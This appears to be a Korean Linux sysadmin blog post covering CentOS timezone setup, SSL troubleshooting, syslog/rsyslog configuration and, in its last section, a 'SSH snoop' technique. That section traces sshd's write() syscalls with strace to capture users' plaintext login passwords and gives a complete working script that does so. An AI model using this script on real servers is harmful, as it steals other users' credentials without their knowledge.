Monday, May 2, 2016

TimeZone

CentOS 6


TimeZone 설정하기

$ vi /etc/sysconfig/clock

ZONE#Asia/Seoul

$ tzdata-update

TimeZone 파일들

/etc/localtime
/etc/sysconfig/clock
/usr/share/zoneinfo/Asia/Seoul

CentOS 7


TimeZone 리스트

$ timedatectl list-timezones

TimeZone 설정하기

$ timedatectl set-timezone Asia/Seoul

TimeZone 확인

$ timedatectl

      Local time: 목 2016-01-14 00:13:43 KST
  Universal time: 수 2016-01-13 15:13:43 UTC
        RTC time: 수 2016-01-13 15:13:44
        Timezone: Asia/Seoul (KST, +0900)
     NTP enabled: n/a
NTP synchronized: no
 RTC in local TZ: no
      DST active: n/a


SslTroubleShooting

SSL 동작 확인


CURL 이용

$ curl -v -o /dev/null https://facebook.com

* About to connect() to facebook.com port 443 (#0)
*   Trying 173.252.110.27... connected
* Connected to facebook.com (173.252.110.27) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* SSL connection using SSL_RSA_WITH_RC4_128_SHA
* Server certificate:
*       subject: CN=*.facebook.com,O="Facebook, Inc.",L=Palo Alto,ST=California,C=US
*       start date:  6월 21 00:00:00 2012 GMT
*       expire date: 12월 31 23:59:59 2013 GMT
*       common name: *.facebook.com
*       issuer: OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign,OU=VeriSign International Server CA - Class 3,OU="VeriSign, Inc.",O=VeriSign Trust Network
> GET / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.14.0.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: facebook.com
> Accept: */*
>
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0< HTTP/1.1 301 Moved Permanently
< Location: https://www.facebook.com/
< Content-Type: text/html; charset=utf-8
< X-FB-Debug: Pa57tDp1kmdZ5sUEZeCJAHkYs58+0jXIm6rFl1xZJ04=
< Date: Mon, 05 Aug 2013 09:47:36 GMT
< Connection: keep-alive
< Content-Length: 0
<
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* Connection #0 to host facebook.com left intact

* Closing connection #0

openssl 이용

$ openssl s_client -connect facebook.com:443 -showcerts

depth=2 C = US, O = "VeriSign, Inc.", OU = Class 3 Public Primary Certification Authority
verify return:1
depth=1 O = VeriSign Trust Network, OU = "VeriSign, Inc.", OU = VeriSign International Server CA - Class 3, OU = www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign
verify return:1
depth=0 C = US, ST = California, L = Palo Alto, O = "Facebook, Inc.", CN = *.facebook.com
verify return:1
CONNECTED(00000003)
.
.
.
Server certificate
subject=/C=US/ST=California/L=Palo Alto/O=Facebook, Inc./CN=*.facebook.com
issuer=/O=VeriSign Trust Network/OU=VeriSign, Inc./OU=VeriSign International Server CA - Class 3/OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign
---
No client certificate CA names sent
---
SSL handshake has read 2198 bytes and written 298 bytes
---
New, TLSv1/SSLv3, Cipher is RC4-SHA
Server public key is 1024 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1
    Cipher    : RC4-SHA
    Session-ID: 82FC7E105FE2749FA1AC20793891CBFA6C399D1E4A12D3E0A782F160B882BC1D
    Session-ID-ctx:
    Master-Key: 08C1914199F644CAB85E3B8F749B1A85C05D8226E8EFD7373D9E9E958F68CEDD51E8593E893BD472C6C660A45449E0F0
    Key-Arg   : None
    Krb5 Principal: None
    PSK identity: None
    PSK identity hint: None
    TLS session ticket lifetime hint: 86000 (seconds)
    TLS session ticket:
    0000 - 9d da 29 68 96 e4 b9 fe-9d ed cc 27 d5 15 a2 f6   ..)h.......'....
    0010 - a6 dc 77 cb ee 93 61 f7-db 32 97 06 27 e9 4a 97   ..w...a..2..'.J.
    0020 - a4 54 10 38 85 7f bd 9a-82 1e 8a 41 ec 1b d1 32   .T.8.......A...2
    0030 - a7 ee 98 44 a4 70 ab 27-d6 11 79 c0 b3 3a 1f 4f   ...D.p.'..y..:.O
    0040 - ed 32 7b 1e a2 f8 e6 97-fc 15 1a 1e 96 d3 19 0a   .2{.............
    0050 - e8 e6 15 8d 3d 67 5d 50-92 fa 97 4c 1b ae a3 00   ....=g]P...L....
    0060 - f2 ba 2a 6c ea fe 47 09-7e e8 e4 87 98 cb a4 56   ..*l..G.~......V
    0070 - ce eb e0 eb 93 e6 13 ac-20 a9 a1 a0 8d 9e 1a 9a   ........ .......
    0080 - 0c fc cd ea 94 3e 2e 06-8a cd 31 16 8c b6 23 a4   .....>....1...#.
    0090 - 5e a7 10 d3 ad 45 b4 04-ee 94 9b 76 0a a5 2a f9   ^....E.....v..*.
    00a0 - 7f e6 bf c6 39 c7 65 75-d9 2e e6 7d 05 55 dd 7a   ....9.eu...}.U.z

    Start Time: 1375696759
    Timeout   : 300 (sec)
    Verify return code: 0 (ok)
---

SSL 에러 예제


Client 인증서 에러

$curl -v -o /dev/null https://example.com

* About to connect() to example.com port 443 (#0)
*   Trying 10.10.10.18... connected
* Connected to example.com (10.10.10.18) port 443 (#0)
* Initializing NSS with certpath: sql:/etc/pki/nssdb
*   CAfile: /etc/pki/tls/certs/ca-bundle.crt
  CApath: none
* Peer's certificate issuer is not recognized: 'CN=Thawte SSL CA,O="Thawte, Inc.",C=US'
* NSS error -8179
* Closing connection #0
* Peer certificate cannot be authenticated with known CA certificates

curl: (60) Peer certificate cannot be authenticated with known CA certificates
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a "bundle"
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.

Client 인증서 설정(Apache)

SSLCACertificateFile /etc/pki/CA/certs/ca.crt

Client 인증서 설정(Nginx)

ssl_client_certificate /etc/pki/CA/certs/ca.crt;
ssl_verify_client optional;

SSL Cipher 지원 확인


openssl 이용

$ openssl s_client -connect google.com:443 -tls1_2

.
.
.
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES128-GCM-SHA256
.
.
.

nmap 이용

$ nmap --script ssl-enum-ciphers -p 443 google.com

PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3
|     Ciphers (9)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|       uncompressed
|   TLSv1.0
|     Ciphers (9)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|       uncompressed
|   TLSv1.1
|     Ciphers (9)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|       uncompressed
|   TLSv1.2
|     Ciphers (17)
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
.
.
.
|     Compressors (1)
|_      uncompressed


Syslog

SYSLOG


syslog 는 컴퓨터 메시지를 기록하기 위한 표준 프로토콜rfc5424이다. SYSLOG 는 1980년대에 sendmail 프로젝트의 일환으로 Eric Allman 에 의해 개발되었고, 처음 에는 sendmail 용으로만 사용 되었다.

Facilities(프로그램 종류들)

Facility Number Facility Keyword Facility Description
0 kern 커널에 의한 메시지
1 user 사용자 수준의 메시지
2 mail 메일 시스템(sendmail, postfix, qmail…) 메시지
3 daemon 데몬(ssh, ftp…)에 의한 메시지
4 auth 로그인과 같이 사용자 인증에 의한 메시지
5 syslog syslogd 데몬에 의한 메지시
6 lpr 프린터데몬인 lpd에 의한 메시지
7 news 뉴스프로그램에 의한 메시지
8 uucp uucp에 의한 메시지
9 cron 시간 데몬(crond, atd)에 의한 메시지
10 authpriv 보안 및 승인에 의한 메시지
11 ftp FTP 데몬에 의한 메시지
12 - NTP subsystem
13 - log audit
14 - log alert
15 - clock daemon
16 local0 여분용:local use 0 (local0)
17 local1 여분용:local use 1 (local1)
18 local2 여분용:local use 2 (local2)
19 local3 여분용:local use 3 (local3)
20 local4 여분용:local use 4 (local4)
21 local5 여분용:local use 5 (local5)
22 local6 여분용:local use 6 (local6)
23 local7 여분용:local use 7 (local7)

Priorities(우선순위)

Priority Number Priority Keyword Priority Description
0 emerg 매우 위험한 상황의 메시지 ( 가장 높은 단계 )
1 alert 즉각적인 조치를 해야하는 메시지
2 crit 급한상황은 아니지만 치명적인 시스템 문제 발생 메시지
3 err 에러에 의한 메시지
4 warn 주의를 요하는 메시지
5 notice 에러는 아니지만 흔치 않은 상태에 대한 대한 메시지
7 debug 운영에 사용되지 않는 애플리케이션 디버깅을 위해 개발자들이 사용하는 메시지

RSYSLOG


Rsyslog는 향상된 멀티 쓰레드 시스템 로그 데몬으로 MySQL, syslog/TCP, RFC 3195, 받아들일 서버들에 대한 선택적 설정, 세밀한 출력 형식 제어를 제공한다.

로그 선택 문법

{facility}.{priority}

연산자

연산자 설명 적용범위
* 전체 선택 facility|priority
= 왼쪽에 오는 것만 선택 priority
! 왼쪽에 오는 것은 제외 priority
, 다중 선택(OR연산) facility
; 필터 -
\n 필터 -
none 해당 facility 를 제외 priority

로그 선택 예제

문법 선택된 facility 선택된 priority
kern.* kern 전체
*.warn 전체 warn 이랑 같거나 작은 모든 priority(<= warn)
kern,cron.=warn kern 또는 cron warn
.=debug;.=info;.=notice;.=warn;*.crit 전체 debug|info|notice|warn|(<= crit)
.;cron.!warn 전체 {facility 가 cron 과 같고 priority가 warn 보다 큰 모든 priority(> warn)} 또는{이패턴을 제외한 모든 priority}
.;local1.!=warn 전체 {facility가 local1 과 같고 priority가 warn 인 것}을 제외한 모든 priority{!(facility # local1 && priority # warn)}
.;local1,local2,local3.none local1, local2, local3 를 제외한 모든 facility 전체

로그 필터링

특정 패턴만 제거하고 받기
$ vi /etc/rsyslog.conf

*.* /var/log/allmsg.log
:msg, contains, "pattern"  ~
*.* /var/log/allmsg-but-pattern.log

설명

  1. 모든 발생되는 로그를 /var/log/allmsg.log 에 기록한다.
  2. pattern 형태가 들어가지 않는 모든 로그를 /var/log/allmsg-but-pattern.log 에 기록한다.

로그 보내기 예제

logger 명령어
$ logger -p local0.warn "facility:local0 and priority:warn"



SshSnoop

SSH SNOOP 개요


목적

SSH Protocol 을 사용하는 Client & Server 간의 통신시 Client 의 Login 시 사용자의 복호화된 패스워드를 최소한의 노력으로 엿보려고 한다.

방법

SSH 데몬의 system call 추적을 통한 암호 탐지

  1. System call 추적후 패스워드는 암호화 되어 있을 가능성도 있다.
  2. 하지만 대부분 WAN 구간에서 암호화 통신시 Data의 수신후 선수행 부분은 암호화된 Data의 복호화 일 것으로 예상 된다.
  3. 또한 SSH Protocol 사용시 서버로 송신하는 Login 암호를 Server 의 salt key로 crypt() 하지 않을 것으로 예상 된다.
  4. [수신된 DATA 의 복호화] -> [crypt()후 shadow 비교] 의 과정으로 예상하여 나는 system call 추적을 해보도록 하겠다.

Strace 개요


strace 란?

  • 프로그램이 실행 되는 동안 호출하는 시스템콜의 추적
  • 프로그램이 실행되는 동안 받는 signal 에 대한 정보 추적

strace 사용법

syscall 에 대한 통계(time, calls, syscall …) 보기

$ strace -f -c -p 31337

% time     seconds  usecs/call     calls    errors syscall
------ ----------- ----------- --------- --------- ----------------
 42.86    0.000012           0        48           close
 32.14    0.000009           0        42           recvmsg
 25.00    0.000007           0        22           fstat
.
------ ----------- ----------- --------- --------- ----------------
100.00    0.000028                   745        21 total

syscall 에 대한 소요 시간([시간]…<소요시간>) 보기

$ strace -tt -T -p 31337

16:02:02.636274 alarm(6000)             = 5999 <0.000038>
16:02:02.636452 epoll_wait(8, {{EPOLLIN, {u32=6, u64=6}}}, 100, 43000) = 1 <2.911735>
.

syscall 추적 예제

$ vi sleep.c

#include <stdio.h>
#include <unistd.h>

int main() {
    sleep(1);
    printf("sleep(1)\n");
    sleep(2);
    printf("sleep(2)\n");
    return(0);
}

$ gcc -o sleep sleep.c
$ strace -tt -T -etrace=nanosleep ./sleep

16:16:47.763460 nanosleep({1, 0}, 0x7fffbd6f6bd0) = 0 <1.000305>
sleep(1)
16:16:48.764272 nanosleep({2, 0}, 0x7fffbd6f6bd0) = 0 <2.000262>
sleep(2)

설명

  1. sleep() 은 내부적으로 nanosleep() syscall 을 호출한다.
  2. -tt 옵션으로 타임을 맨앞에 출력 -T 옵션으로 소요 시간을 맨뒤에 출력 한다.
  3. -etrace 옵션으로 해당 syscall만 필터링 한다.

Strace를 이용한 SSH SNOOP 구현


sshd의 시작점(PPID) 찾기

sshd 데몬의 부모 프로세스(PPID) 찾기

$ pidof sshd | awk ‘{print $NF}’
.
[OR]
.
$ pgrep -o sshd

패스워드를 운반하는 syscall 찾기

일단 sshd의 syscall 확인 결과 패스워드의 snoop 이 가능함을 확인 하였다.
패스워드 운반에 사용되는 syscall 은 write() 이다.
아래의 과정으로 ssh login password 를 가로채는 것을 확인 할 수 있었다.

$ useradd victim
$ echo "MyPasswordIs1234" | passwd victim --stdin
$ strace -f -etrace=write -s 64 -p $(pgrep -o sshd)

.
[pid  8281] write(4, "\0\0\0\20MyPasswordIs1234", 20) = 20

설명

  1. 사용자 victim 을 추가한다.
  2. 사용자 victim 의 패스워드를 MyPasswordIs1234 로 설정한다.
  3. 인증부분은 child process 에서 행하기 때문에 -f 옵션으로 child process도 감시한다.
  4. -etrace=write 옵션으로 write call 만 감시한다.
  5. 출력 문자열의 길이를 64로 늘린다.(기본 32)
  6. -p 옵션으로 sshd 의 부모 프로세스를 감시한다.

SSH SNOOP(Login Password Snoop) 필터링 구현

strace 를 이용한 SSHP SNOOP 프로그램 구현(sshsnoop.sh)

$ vi sshsnoop.sh

#! /bin/env bash
#
# Cheap technique. :)
#
#

SNOOP_ID=$1
SSHD_PPID=$(pgrep -o sshd)
MATCH_ID=
MATCH_PID=
MATCH_ID_PID=

FIND_PASSWD=0
PASSWD_NEXT=15

FILTER_PASSWD_LEN_MIN=40
FILTER_PASSWD_LEN_MAX=80

SCOPE=10
SCOPE_MIN=
SCOPE_MAX=
LOOP_COUNT=0
((SCOPE_MIN=PASSWD_NEXT-SCOPE))
((SCOPE_MAX=PASSWD_NEXT+SCOPE))

if [ -z $SNOOP_ID ]; then
    echo $"Usage: $0 {snoopid}" 
    exit 0
fi

strace -f -etrace=write -s 64 -p $SSHD_PPID 2>&1 | while read SSH
do

    if [ $LOOP_COUNT -ge $SCOPE_MIN -a $LOOP_COUNT -le $SCOPE_MAX ]; then
        MATCH_PID=$(echo $SSH 2>&1 | grep $MATCH_ID_PID | grep -v ssh-connection)
        if [ -n "$MATCH_PID" -a ${#SSH} -lt $FILTER_PASSWD_LEN_MAX -a ${#SSH} -gt $FILTER_PASSWD_LEN_MIN ]; then
            echo "MAY BE PASSWORD >>> $SSH"
        fi
    fi

    if [ $LOOP_COUNT -eq $SCOPE_MAX ]; then
        LOOP_COUNT=0
        FIND_PASSWD=0
        MATCH_ID=
    fi

    if [ $FIND_PASSWD -gt "0" ]; then
        ((FIND_PASSWD++))
        ((LOOP_COUNT++))
        continue
    fi
    MATCH_ID=$(echo $SSH 2>&1 | grep $SNOOP_ID\")
    if [ -n "$MATCH_ID" ]; then
        echo "MAY BE USERID   >>> $SSH"
        MATCH_ID_PID=${SSH%%]*}
        MATCH_ID_PID=${MATCH_ID_PID#[pid}
        FIND_PASSWD=1
    fi
done

sshsnoop.sh 실행 결과

$ sh sshsnoop.sh victim

MAY BE USERID   >>> [pid  8949] write(4, "0006victim", 10) = 10
MAY BE PASSWORD >>> [pid  8949] write(4, "00020MyPasswordIs1234", 20) = 20
MAY BE PASSWORD >>> [pid  8949] write(4, "0002000000"3650000000J", 20) = 20